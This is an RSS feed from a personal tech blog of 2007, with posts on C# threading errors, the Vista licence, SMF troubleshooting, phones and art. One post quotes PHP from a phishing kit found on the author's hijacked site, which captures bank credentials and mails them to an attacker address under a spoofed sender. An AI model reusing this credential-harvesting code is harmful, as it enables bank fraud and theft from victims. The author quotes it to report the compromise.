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   <channel>
      <title>Tim&apos;s Journal</title>
      <link>http://torque.gig8.com/</link>
      <description>Figuring out the world... one day at a time.</description>
      <language>en</language>
      <copyright>Copyright 2008</copyright>
      <lastBuildDate>Wed, 28 Nov 2007 00:55:46 -0800</lastBuildDate>
      <generator>http://www.sixapart.com/movabletype/</generator>
      <docs>http://blogs.law.harvard.edu/tech/rss</docs> 

            <item>
         <title>DisconnectedContext was detected</title>
         <description><![CDATA[<blockquote>Context 0x1fa878 is disconnected.  No proxy will be used to service the request on the COM component. This may cause corruption or data loss. To avoid this problem, please ensure that all contexts/apartments stay alive until the application is completely done with the RuntimeCallableWrappers that represent COM</blockquote>
Wow, look at that jargon.  Anglais, si'l vous plait.  My humble attempt, can you do better?<blockquote>Dude, remember when I told you that running multiple chunks of code in parallel, i.e., multi-threading, was <a href="http://badtux.org/home/eric/editorial/threads.php">evil</a>?  Remember how you didn't listen to me?  Well, I noticed that you are manipulating some stuff from chunk one in chunk two.  What are you going to do if chunk one suddenly ends and the stuff disappears?</blockquote>]]></description>
         <link>http://torque.gig8.com/2007/11/disconnectedcontext_was_detected.html</link>
         <guid>http://torque.gig8.com/2007/11/disconnectedcontext_was_detected.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">C#</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">bugs</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">c#</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">context</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">debugger</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">disconnectedcontext</category>
        
         <pubDate>Wed, 28 Nov 2007 00:55:46 -0800</pubDate>
      </item>
            <item>
         <title>Dojo 1.0.0 available on AOL CDN</title>
         <description><![CDATA[<strong>Background.</strong> <a href="http://dojotoolkit.org">Dojo</a> is a toolkit of javascript functions which speeds up web development.  It includes both aesthetic and technically-helpful elements.  Prior to AOL hosting the toolkit, it would be necessary to physically transfer the compressed files to the server and uncompress.  While this was a cinch on my lunarpages-hosted linux account running CPanel, it turned out to be quite a pain with a windows-based account running Plesk.

To use:<blockquote>&lt;script type="text/javascript" src=<a href="http://o.aolcdn.com/dojo/1.0.0/dojo/dojo.xd.js">"http://o.aolcdn.com/dojo/1.0.0/dojo/dojo.xd.js"</a>&gt;&lt;/script&gt;</blockquote>Very handy.  Thank you AOL.

Source: http://dojotoolkit.org/2007/11/06/dojo-1-0-0-available-aol-cdn]]></description>
         <link>http://torque.gig8.com/2007/11/dojo_100_available_on_aol_cdn.html</link>
         <guid>http://torque.gig8.com/2007/11/dojo_100_available_on_aol_cdn.html</guid>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">aol</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">compressed</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">cpanel</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">dojo</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">dojo tookit</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">gunzip</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">javascript</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">lunarpages</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">plesk</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">unzip</category>
        
         <pubDate>Fri, 16 Nov 2007 11:27:17 -0800</pubDate>
      </item>
            <item>
         <title>The fine print on Vista</title>
         <description><![CDATA[I recently had a chance to skim through the Vista Enterprise software license.  Microsoft is currently <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c2c27337-d4d1-4b9b-926d-86493c7da1aa&displaylang=en">offering Vista as a 30-day VHD</a> (Virtual Hard Drive; requires registration) ostensibly for IT-departments paralyzed by the potential of all mission critical software to sieze up on update.  It requires Microsoft <a href="http://www.microsoft.com/windowsserversystem/virtualserver/default.aspx">Virtual Server R2</a>, Microsoft's (free, sorry VMWare) virtualization solution.  If you are involved in potentially licensing software as a licensor or licensee, it's absolutely worth a gander.  I'm sure they spent a fortune with attorneys on drafting it.

Questions and observations:<ol><li><i>How do we handle licensing Vista virtualized across multiple machines?</i><ul><li>"A hardware partition or blade is considered a separate device." -- </li><li>"You may use the software on up to two processors on that device at one time."</li><li>"You may use the software installed on the licensed device within a virtual (or otherwise emulated) hardware system.  If you do so, you may not play or access content or use applications protected by any Microsoft digital, information or enterprise rights management technology or other Microsoft rights management services or use BitLocker."</li></ul></li><li><i>What is "<a href="http://en.wikipedia.org/wiki/Connection_pool">pooling</a>"?</i> <strong>Timesharing?</strong><ul><li>"Except as provided in the Device Connections and Other Access Technologies sections below, only one user may use the software at a time."</li><li>"Hardware or software you use to ·     pool connections, or ·     reduce the number of devices or users that directly access or use the software (sometimes referred to as “multiplexing” or “pooling”), does not reduce the number of licenses you need."</li></ul></li><li><i>Did I buy Vista?</i> <strong>Nope.</strong><ul><li>"The software is licensed, not sold. This agreement only gives you some rights to use the software.  Microsoft reserves all other rights."</li><li>"You may not... rent, lease or lend the software..."</li><li>"You may not... use the software for commercial software hosting services."</li></ul></li><li><i>Will I get support?</i> <strong>Don't count on it.</strong><ul><li>"Because the software is “as is,” we may not provide support services for it."</li><li>"The software is licensed “as-is.”  You bear the risk of using it.  Microsoft gives no express warranties, guarantees or conditions."</li><li>"To the extent permitted under your local laws, Microsoft excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement."</li></ul></li><li><i>What if something breaks, or I lose critical data?</i> <strong>Tough luck.</strong><ul><li>"You can recover from Microsoft and its suppliers only direct damages up to U.S. $5.00.  You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages."</li><li> "It also applies even if Microsoft knew or should have known about the possibility of the damages."</li></ul></li></ol>]]></description>
         <link>http://torque.gig8.com/2007/11/the_fine_print_on_vista.html</link>
         <guid>http://torque.gig8.com/2007/11/the_fine_print_on_vista.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Licensing</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">microsoft</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">software licensing</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">vhd</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">virtual hard drive</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">virtual server</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">virtualization</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">vista</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">windows</category>
        
         <pubDate>Wed, 14 Nov 2007 09:33:01 -0800</pubDate>
      </item>
            <item>
         <title>Resolving the missing Ad Management link (SMF 1.1.3)</title>
         <description><![CDATA[<b>Symptom:</b> Installing Ad Management for SMF 1.1.3 from smfads.com indicates success.  No Ad Management link is present under Configuration tab.  However, inspection (view source) reveals an incomplete link, in my case to <blockquote><pre>index.php?action=admod</pre></blockquote>

with no parameters.  The incomplete link can be visually checked by noticing the extra space between Configuration and the next tab.

<b>Resolution:</b>  Per <a href="http://www.smfads.com/forums/index.php?topic=838.0">jerm</a>, the issue has to do with english versus english-utf8.  The current version "ad_mod_1-1-x_v2-3" creates a file called "Ads.english.php" in the languages folder of the default directory.  A quick glance at the 1.1.3 install (and probably a few subversions back) shows that a copy should probably be made for "Ads.english-utf8.php".  Create this copy by hand for quick resolution OR alternatively, installing using <a href="http://torque.gig8.com/ad_mod_1-1-x_v2-3x.zip">ad_mod_1-1-x_v2-3x</a> (simple hack to include utf8 copy).  The only real change to the package is the addition of Ads.english-utf8.php (copy), and adding the following line to package-info.xml to read:<blockquote><pre>require-file name="Ads.english-utf8.php" destination="$languagedir"</pre></blockquote>

Let me know if there are any issues or if you found the hack helpful.]]></description>
         <link>http://torque.gig8.com/2007/07/resolving_the_missing_ad_management_link_smf_113.html</link>
         <guid>http://torque.gig8.com/2007/07/resolving_the_missing_ad_management_link_smf_113.html</guid>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">ad management</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">adsense</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">hacks</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">smf</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">troubleshooting</category>
        
         <pubDate>Fri, 13 Jul 2007 10:43:52 -0800</pubDate>
      </item>
            <item>
         <title>&quot;Bana&quot; banamex scam</title>
         <description><![CDATA[I recently went in and triaged a Geeklog install I haven't touched in a few months.  Lo and behold, it had been hijacked by scammer spammers.  Here is login.php:<blockquote>
$message .= "Login: ".$_POST['ncliente'];
$message .= "Password: ".$_POST['pass'];
$message .= "Netkey: ".$_POST['netkey'];          
$message .= $ip = getenv("REMOTE_ADDR");

//sending email info here

	$subj = "Bancanet - Banamex";
	$from = "From: Info<info@banamex.com>";
                mail("devilzx0@gmail.com", $subj, $message, $from);
                header("Location: verificacion.htm");</blockquote>

My ISP was complaining of mail sent.  This was probably it.    There are a lot of references in the index.htm and verificacion.html to banamex.com.  Check out this particular segment of verficacion.htm:<blockquote>file:///D:/Banking/Scams/Scam/Upload%20Scam/Upload%20Venezuela/Mis%20documentos/Mis%20archivos%20recibidos/letter_files/nuevobnp.css</blockquote>

How and where is the money made here?  Harvesting accidental logins... There is one redirection to "istemp.com":<blockquote>href="http://centralbanamex.com.istemp.com/banamex/"</blockquote>

Anyone know anything about this?

<b>Update:</b> Here's the <a href="http://www.websense.com/securitylabs/alerts/alert.php?AlertID=132">phishing alert</a>.  It's from 2005.]]></description>
         <link>http://torque.gig8.com/2007/07/bana_banamex_scam.html</link>
         <guid>http://torque.gig8.com/2007/07/bana_banamex_scam.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Scams</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">bana</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">banamex</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">devilzx0</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">istemp.com</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">phishing</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">scam</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">spam</category>
        
         <pubDate>Tue, 10 Jul 2007 10:34:05 -0800</pubDate>
      </item>
            <item>
         <title>Be not anxious!</title>
         <description><![CDATA[Bonhoeffer writes:<blockquote>Be not anxious!  Earthly possessions dazzle our eyes and delude us into thinking that they can provide security and freedom from anxiety.  <u>Yet all the time they are the very source of all anxiety</u>.  If our hearts are set on them, our reward is an anxiety whose burden is intolerable.  Anxiety creates its own treasures and they in turn beget further care.  When we seek for security in possessions we are trying to drive out care with care, and the net result is the precise opposite of our anticipations.  The fetters which bind us to our possessions prove to be cares themselves. [emphasis mine]</blockquote>]]></description>
         <link>http://torque.gig8.com/2007/07/be_not_anxious.html</link>
         <guid>http://torque.gig8.com/2007/07/be_not_anxious.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Anti-anxiety</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">anxiety</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">bonhoeffer</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">relaxing</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">stress</category>
        
         <pubDate>Tue, 10 Jul 2007 09:41:21 -0800</pubDate>
      </item>
            <item>
         <title>Chimichanga de Manzana</title>
         <description>Spotted on the Guadalajara (Redding, CA) menu.  A flour tortilla filled with apples and deep fried.  Topped with sugar, cinnamon, honey and whipped cream.  Served with two scoops of vanilla or chocolate ice cream.  $5.25.  Mmmmmm.</description>
         <link>http://torque.gig8.com/2007/06/chimichanga_de_manzana.html</link>
         <guid>http://torque.gig8.com/2007/06/chimichanga_de_manzana.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Life</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">dessert</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">guadalajara</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">health</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">ice cream</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">manzana</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">redding</category>
        
         <pubDate>Wed, 20 Jun 2007 13:06:44 -0800</pubDate>
      </item>
            <item>
         <title>Printing with Google Spreadsheets</title>
         <description><![CDATA[<b>5:01 PM 6/19/2007</b>.  Printing does not work.  It flat out doesn't work.  Ok, ok, it works in a sense, stuff comes out of the printer, but columns are chopped and the chopped data doesn't even show up on future pages.  See <a href="http://torque.gig8.com/pdfs/spreadsheetprint022.pdf">scan</a>.  Now I will humbly copy my spreadsheet data to Microsoft Excel and print.  Mr. Gates, you may now say "I told you so."  (Of course, maybe this is G's way to wipe out all paper copies... but hey, I still don't have EDGE or EVDO in my car, and no, I shouldn't be looking at Google Docs with my one hand while driving...)

<b>5:10 PM 6/19/2007</b>.  Cutting and pasting into Excel from Google Spreadsheets does not work.  It flat out doesn't work.  The caveat here is that I have It doesn't work when you paste from the app, and it doesn't.  Here's the source:

<a href="http://torque.gig8.com/images/printing%20with%20google%20spreadsheet.html" onclick="window.open('http://torque.gig8.com/images/printing%20with%20google%20spreadsheet.html','popup','width=1052,height=816,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/printing%20with%20google%20spreadsheet-thumb.PNG" width="300" height="232" alt="" /></a>

And the Excel paste:

<a href="http://torque.gig8.com/images/google%20spreadsheet%20to%20excel.html" onclick="window.open('http://torque.gig8.com/images/google%20spreadsheet%20to%20excel.html','popup','width=577,height=556,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/google%20spreadsheet%20to%20excel-thumb.PNG" width="300" height="289" alt="" /></a>

Not cool.  You get somewhat better results by pressing Print in Google Spreadsheets, and copying and pasting from that.  However, the results are still rather lacking...

<a href="http://torque.gig8.com/images/google%20spreadsheet%20to%20excel%202.html" onclick="window.open('http://torque.gig8.com/images/google%20spreadsheet%20to%20excel%202.html','popup','width=645,height=618,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/google%20spreadsheet%20to%20excel%202-thumb.PNG" width="300" height="287" alt="" /></a>

Sigh.  The problem here are all the carriage returns I have embedded in the cells.

<b>Update.</b>  The (lame) solution.  Wipe out middle column so I <i>know</i> there is enough paper space.  Print first page, establish what I need to re-size the last column to.  Re-size and re-print.]]></description>
         <link>http://torque.gig8.com/2007/06/printing_with_google_spreadshe.html</link>
         <guid>http://torque.gig8.com/2007/06/printing_with_google_spreadshe.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Groupware</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">copying and pasting</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">excel</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">google spreadsheet</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">printing</category>
        
         <pubDate>Tue, 19 Jun 2007 17:03:51 -0800</pubDate>
      </item>
            <item>
         <title>T-Mobile vs. Verizon vs. Sprint</title>
         <description><![CDATA[<b>a.k.a. EDGE vs. EVDO Rev 0 vs EDVO Rev A</b>

To think, the T-Mobile looked straight into my eyes and said that there wasn't much different in speeds between T-Mobile and other carriers.  I found some real numbers on <a href="http://www.swivel.com/graphs/spreadsheet/5122324">Richard's spreasheets on Swivel</a>.  His answer is resounding Sprint.  The test is not quite what I wanted, since it is access from his location to various Speakeasy speed test servers.  What I really want is a true test, using the speed test servers, from the various locations.  In any case, the SF download speeds for T-Mobile vs. Verizon vs. Sprint is 144:930:1,081, uploads are 9:114:512 kbps.  9?!?! 

<b>Update:</b> What we really want is a GPS-enabled phone (same phone) on all three carriers (four including Cingular), giving us location-based results for the different carriers.  THAT would be a very nice article and mashup project.]]></description>
         <link>http://torque.gig8.com/2007/06/tmobile_vs_verizon_vs_sprint.html</link>
         <guid>http://torque.gig8.com/2007/06/tmobile_vs_verizon_vs_sprint.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Smartphones</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">download speed</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">edge</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">edvo</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">sprint</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">t-mobile</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">upload speed</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">verizon</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">wireless broadband</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">wireless carriers</category>
        
         <pubDate>Tue, 19 Jun 2007 16:52:51 -0800</pubDate>
      </item>
            <item>
         <title>&quot;Playin&apos;&quot; with the T-Mobile Wing and T-Mobile Dash</title>
         <description><![CDATA[I had a chance this afternoon to spend a half-hour or so with the T-Mobile Wing and Dash.  Both running Windows Mobile, the main attraction was a phone-based EDGE solution for my laptop.  Prognosis?  Pretty, reasonably functional, but <u>both require two-hand operation</u>.  My Blackberry's mostly one-handed operation turns out to be more valuable to me than I thought.

The Dash is unusual for a PDA-esque Windows device in that it does NOT have a touch screen.  While still useable, I found several moments in my trial having to hold back my fingers from the screen.  The Wing, on the other hand, DOES have a touchable screen, and comes with stylus operation.  Interestingly, I found myself using both hands to type, as well as using the stylus.  While in general I do not recommend using any kind of smart phone while operating a vehicle, I <b>really</b> don't recommend Wing usage at a stop light or in traffic.  I suppose this should have been expected given the full keyboard.

Size-wise the Wing is a bit on the fat size, but forgivable since it comes with a beautiful large screen and a reasonable camera (not a problem if you carry a purse or equivalent).  The Dash on the other hand, is just a bit thinner than my Blackberry.  Towards the end of my short session, I had to look something up on Google.  I tried it on the Dash, gave up.  Tried it on the Wing, gave up, and finally got it done on my Blackberry... with one hand.

So, there it is.  I was looking for a laptop-modemable Wifi, Edge-cable phone.  I found two, none of which I was ready to take in exchange for good ole' BB.

<b>Addendum:</b> The fact that I found myself using the stylus on the Wing and wanting to on the Dash says something.  I never need to worry about the screen on BB.  But then, it doesn't run PowerPoint.]]></description>
         <link>http://torque.gig8.com/2007/06/playin_with_the_tmobile_wing_a.html</link>
         <guid>http://torque.gig8.com/2007/06/playin_with_the_tmobile_wing_a.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Smartphones</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">blackberry</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">edge</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">mda</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">smartphone</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">t-mobile</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">t-mobile dash</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">t-mobile wing</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">tmobile dash</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">tmobile wing</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">wifi</category>
        
         <pubDate>Tue, 19 Jun 2007 16:28:50 -0800</pubDate>
      </item>
            <item>
         <title>Your personal crash test dummy...</title>
         <description><![CDATA[ConsumerReports has <a href="http://www.consumerreports.org/cro/cars/safety-recalls/carcrashtest/crashtestvideo.htm">crash test videos</a> for 150+ vehicles.  It's rather unsettling, and a good reminder that driving is no walk-in-the-park.  The slow motion is especially revealing.  Choose some pricy cars.  Note to self: new Volkswagen Beetle -- poor side impact results, yikes.]]></description>
         <link>http://torque.gig8.com/2007/06/your_personal_crash_test_dummy.html</link>
         <guid>http://torque.gig8.com/2007/06/your_personal_crash_test_dummy.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Driving</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">crash test</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">dummies</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">safety</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">vehicles</category>
        
         <pubDate>Sat, 16 Jun 2007 01:31:53 -0800</pubDate>
      </item>
            <item>
         <title>Paul Potts chronology</title>
         <description><![CDATA[Paul Potts (not to be confused with Paul Pott) has got talent, there is no question about that.  The Sun, bastion of journalism, has <a href="http://www.thesun.co.uk/article/0,,2001320029-2007270918,00.html">a piece</a> on readers furious with the revelation that the "unassuming mobile phone salesman" had been coached by Luciano Pavarotti.  The Sun claims that Mr. Potts<ul><li>has received extensive training</li><li>was a regular at <a href="http://www.bathopera.co.uk/Past%20Productions/Don%20Carlos/don_carlos_biographies.htm">Bath Opera</a>, including being a lead in Verdi Don Carlos</li><li>spent two summers touring northern Italy with a major opera school, taking master classes with top stars, including Mr. Pavarotti</li><li>won £8,000 in 1999 on a TV talent show</li></ul>

Says Mr. Potts, "I am not a professional. I’ve never been paid for my singing, all the training I’ve received I paid for myself, and I grafted hard to do so."  That's believable, you would have expected this if he was serious.  Of course, the bonus points are much less than if you had done all your training in front of a karoke box...

Mr. Potts' Bath Opera bio doesn't elicit too much sympathy, though this is not unexpected, since one would expect the opera to market experience, rather than inexperience.<blockquote>Paul Potts (Don Carlos) is a relative new comer to Grand Opera after an apprenticeship in Gilbert and Sullivan in Bristol.. His claim to fame is his 1999 appearance on Michael Barrymore's My Kind of Music. This was followed by singing for Bath Opera in Turandot as Prince of Persia and Herald. He has since performed with The Royal Philharmonic Orchestra and spent three months touring Northern Italy as a soloist, training under top teachers Mario Melani and Svetlana Sidrova. He has been invited back for a concert to be recorded and also for a masterclass with Luciano Pavarotti. Future plans include a summer tour with the RPO.</blockquote>

Wikipedia has <a href="http://en.wikipedia.org/wiki/Paul_Potts">a bit more</a>.  You can also visit his MySpace page for <a href="http://www.myspace.com/paul_potts">more personal content</a>.  Modern technology... wow.

]]></description>
         <link>http://torque.gig8.com/2007/06/paul_potts_chronology.html</link>
         <guid>http://torque.gig8.com/2007/06/paul_potts_chronology.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Music</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">britain&apos;s got talent</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">music</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">opera</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">paul pott</category>
        
         <pubDate>Sat, 16 Jun 2007 00:49:42 -0800</pubDate>
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         <title>reinvent -- Proctor &amp; Gamble packaging design competition</title>
         <description><![CDATA[P&G and "<a href="http://www.designboom.com/eng/">designboom</a>" are taking entries for the <a href="http://www.designboom.com/reinvent.html">reinvent packaging design contest</a>.  With regards to U.S. standards, the payoff is not great, considering big time design can go into the millions.  But hey, who needs mulah when you can have fame.<blockquote><b>reinvent
Maestro Limpio®, Buena Vibra® and Salvo®</b>

- packaging + in-store design competition -

reinvent the package design of Maestro Limpio®, Buena Vibra®, Salvo®,
(you can choose to develop one or more of the products)

create the difference in the eyes of the consumer through:
easier usage, fun usage, avoiding product waste, promoting reusability and more!
Maestro Limpio® is a hard-surface cleaning brand that holds the following product forms: 
liquid multiuse cleaner, anti-grease spray, anti-stain spray, liquid bathroom cleaner, 
liquid aromatizers for floor cleaning, solid dust cleaner and solid scratch remover. 
Buena Vibra® is a hard surface liquid-cleaner
Salvo® is a dish washing detergent in powder and liquid forms.

note: 
the product name of Maestro limpio® varies from country to country,
and is more commonly known as Mr Clean® 
examples of these three products can be seen <a href="http://www.designboom.com/reinvent/examples.html">> here <</a> for your reference</blockquote>

<blockquote><b>awards</b> 
- in-store point of sale design:  $4000 USD.
- packaging: $4000 USD.
the organizers will assign honorable mentions to other projects
(beyond the winner in each of the categories) that will be considered particularly meaningful
for aesthetic, functional or technical reasons.
PROCTER & GAMBLE undertakes, in the event that it uses for production one of
the designs submitted for the contest (wholly or in part), to pay a
one-off fee to the designer of $2000 USD.
this does not apply to the 2 winners, their fee is the prize as written above.</blockquote>

Deadline for applications registration is September 20, 2007.  I would have to say that the website for this contest is suspiciously cheesy.]]></description>
         <link>http://torque.gig8.com/2007/06/reinvent_proctor_gamble_packag.html</link>
         <guid>http://torque.gig8.com/2007/06/reinvent_proctor_gamble_packag.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Design</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">contests</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">industrial design</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">packaging</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">proctor &amp; gamble</category>
        
         <pubDate>Fri, 15 Jun 2007 17:59:31 -0800</pubDate>
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            <item>
         <title>&quot;Good material everywhere&quot; -- casting shadows from refuse</title>
         <description><![CDATA[Clever and well-executed.  Spotted on <a href="http://www.pantherhouse.com/newshelton/freeze-frame-screen-the-shadow-hot-heads-under-silent-wigs/?">pantherhouse</a>, Tim Noble (1966) and Sue Webster (1967) re-arrange piles of refuse into... well, take a look.

<a href="http://torque.gig8.com/images/noblewebster21.html" onclick="window.open('http://torque.gig8.com/images/noblewebster21.html','popup','width=470,height=465,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/noblewebster2-thumb.jpg" width="200" height="197" alt="" /></a><a href="http://torque.gig8.com/images/noblewebster3.html" onclick="window.open('http://torque.gig8.com/images/noblewebster3.html','popup','width=520,height=377,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/noblewebster3-thumb.jpg" width="200" height="145" alt="" /></a><a href="http://torque.gig8.com/images/noblewebster4.html" onclick="window.open('http://torque.gig8.com/images/noblewebster4.html','popup','width=520,height=385,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/noblewebster4-thumb.jpg" width="200" height="148" alt="" /></a><a href="http://torque.gig8.com/images/noblewebster.html" onclick="window.open('http://torque.gig8.com/images/noblewebster.html','popup','width=520,height=376,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://torque.gig8.com/images/noblewebster-thumb.jpg" width="200" height="144" alt="" /></a>

Ingrid Sischy provides insight through interview on the rather romantic British duo in <a href="http://findarticles.com/p/articles/mi_m1285/is_9_30/ai_64993842">Interview</a>.<blockquote>Sue immediately found a room that had no windows, no natural light, and a big lock on the door, and she just secluded herself from all the other students. I spent a lot of time trying to get in the door. Once I did get in we realized we were quite happy in each other's company.</blockquote>

I like the last part of the Interview:<blockquote>SW: Probably a quite recent one, actually. I think maybe when we first got to London we felt a little bit vulnerable and possibly made stuff that we thought would be successful, as opposed to things we actually felt comfortable with ourselves. It's only in the last three or four years that I've actually begun to feel comfortable making work that I feel is real. This would include some of the first light pieces we did, such as "Forever," or "The Fountain" and "Excessive Sensual Indulgence." Also the first shadow work we did, called "Miss Understood and Mr. Meanor."

IS: Does that one involve garbage?

SW: Yeah, it was the first piece using garbage. We fumbled around in the studio making it and were really embarrassed by it. We didn't think it was any good. It was made up out of found objects that I collected, things like bean tins and other rubbish.

IS: And the shadows of your profiles on the wall, are these actually made by the shape of the sculpted garbage?

SW: Yes. Making the sculpture is one thing, but then disguising the fact that it makes the shadow is another--that's why the sculptures are such odd shapes.

TN: The light pieces are very hands-on, but they can be manufactured elsewhere. The rubbish pieces are too, but we need to do those ourselves--they're very time-consuming.

SW: Just because you can't afford bronze or other materials is no excuse for not making art. There's good material everywhere.</blockquote>

Together they are also <a href="http://artscenecal.com/ArticlesFile/Archive/Articles2001/Articles1201/TNobleA.html">quite astute at marketing</a>, which is really to key to selling garbage.  Gratuitous <a href="http://en.wikipedia.org/wiki/Tim_Noble_and_Sue_Webster">wikipedia link</a>.]]></description>
         <link>http://torque.gig8.com/2007/06/good_material_everywhere_casti.html</link>
         <guid>http://torque.gig8.com/2007/06/good_material_everywhere_casti.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">Art</category>
        
                  <category domain="http://www.sixapart.com/ns/types#tag">art</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">creative</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">garbage</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">light</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">refuse</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">shadows</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">sue webster</category>
                  <category domain="http://www.sixapart.com/ns/types#tag">tim noble</category>
        
         <pubDate>Fri, 15 Jun 2007 17:21:27 -0800</pubDate>
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            <item>
         <title>Thinkpad X61 Tablet -- SuperView outdoor viewability</title>
